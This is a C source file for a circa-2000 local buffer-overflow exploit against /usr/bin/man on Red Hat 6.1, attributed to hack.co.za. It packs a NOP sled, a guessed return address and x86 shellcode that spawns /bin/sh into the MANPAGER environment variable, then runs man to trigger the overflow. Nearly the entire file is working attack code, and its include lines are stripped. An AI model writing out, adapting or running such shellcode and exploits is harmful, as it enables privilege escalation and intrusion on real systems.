/* * Rewriten from: * (c) 2000 babcia padlina / b0f * (lcamtuf's idea) * by Kil3r of Lam3rZ * * redhat 6.1 /usr/bin/man exploit */ #include #include #include #include #define NOP 0x90 #define OFS 1800 #define BUFSIZE 4017 #define ADDRS 1000 long getesp(void) { __asm__("movl %esp, %eax\n"); } int main(argc, argv) int argc; char **argv; { char *execshell = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char buf[BUFSIZE+strlen(execshell)], *p; int noplen, i, ofs; long ret, *ap; ret = getesp() + OFS; memset(buf,NOP,BUFSIZE+strlen(execshell)); memcpy(buf+BUFSIZE-(strlen(execshell)+20),execshell,strlen(execshell)); p=buf+BUFSIZE+strlen(execshell)-4; ap=(int *)p; *ap=ret; //0x46464646; fprintf(stderr, "RET: 0x%x len: %d\n\n", ret, strlen(buf)); setenv("MANPAGER", buf, 1); execl("./man", "man", "ls", 0); return 0; } /* www.hack.co.za [2000]*/